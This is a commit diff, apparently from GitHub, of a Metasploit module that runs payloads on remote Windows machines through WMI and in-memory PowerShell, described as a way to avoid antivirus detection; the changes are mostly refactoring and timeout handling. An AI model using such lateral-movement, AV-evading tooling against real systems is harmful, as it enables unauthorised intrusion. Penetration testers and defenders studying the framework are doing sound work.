1
- # -*- coding: binary -*-
2
-
3
1
##
4
2
# This module requires Metasploit: http://metasploit.com/download
5
3
# Current source: https://github.com/rapid7/metasploit-framework
6
4
##
7
5
8
- ##
9
- # Ideally the methods to create WMI wrapper functions and their callers
10
- # should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
11
- ##
12
6
13
7
require 'msf/core'
14
8
require 'msf/core/post/windows/powershell'
15
9
require 'msf/core/post/windows/priv'
10
+ require 'msf/core/exploit/powershell/dot_net'
16
11
17
- class Metasploit3 < Msf ::Exploit ::Local
12
+ class MetasploitModule < Msf ::Exploit ::Local
18
13
Rank = ExcellentRanking
19
14
20
15
include Msf ::Post ::Windows ::Powershell
@@ -23,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
23
18
24
19
def initialize ( info = { } )
25
20
super ( update_info ( info ,
26
- 'Name' => "Authenticated WMI Exec via Powershell (Local Exploit) " ,
21
+ 'Name' => "Authenticated WMI Exec via Powershell" ,
27
22
'Description' => %q{
28
23
This module uses WMI execution to launch a payload instance on a remote machine.
29
24
In order to avoid AV detection, all execution is performed in memory via psh-net
@@ -117,7 +112,6 @@ def build_script
117
112
end
118
113
119
114
def exploit
120
-
121
115
# Make sure we meet the requirements before running the script
122
116
unless have_powershell?
123
117
fail_with ( Failure ::BadConfig , 'PowerShell not found' )
@@ -137,7 +131,13 @@ def exploit
137
131
return
138
132
end
139
133
140
- print_good ( "#{ datastore [ "RHOSTS" ] ? psh_exec ( script ) : psh_exec ( script , true , false ) } " )
134
+ begin
135
+ psh_output = datastore [ "RHOSTS" ] ? psh_exec ( script ) : psh_exec ( script , true , false )
136
+ print_good ( psh_output )
137
+ rescue Rex ::TimeoutError => e
138
+ elog ( "#{ e . class } #{ e . message } \n #{ e . backtrace * "\n " } " )
139
+ end
140
+
141
141
vprint_good ( 'PSH WMI exec is complete.' )
142
142
end
143
143
@@ -176,7 +176,13 @@ def ps_wmi_exec(opts = {})
176
176
177
177
EOS
178
178
179
- return ps_wrapper
179
+ return ps_wrapper
180
180
end
181
181
182
182
end
183
+
184
+
185
+ #
186
+ # Ideally the methods to create WMI wrapper functions and their callers
187
+ # should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
188
+ #
0 commit comments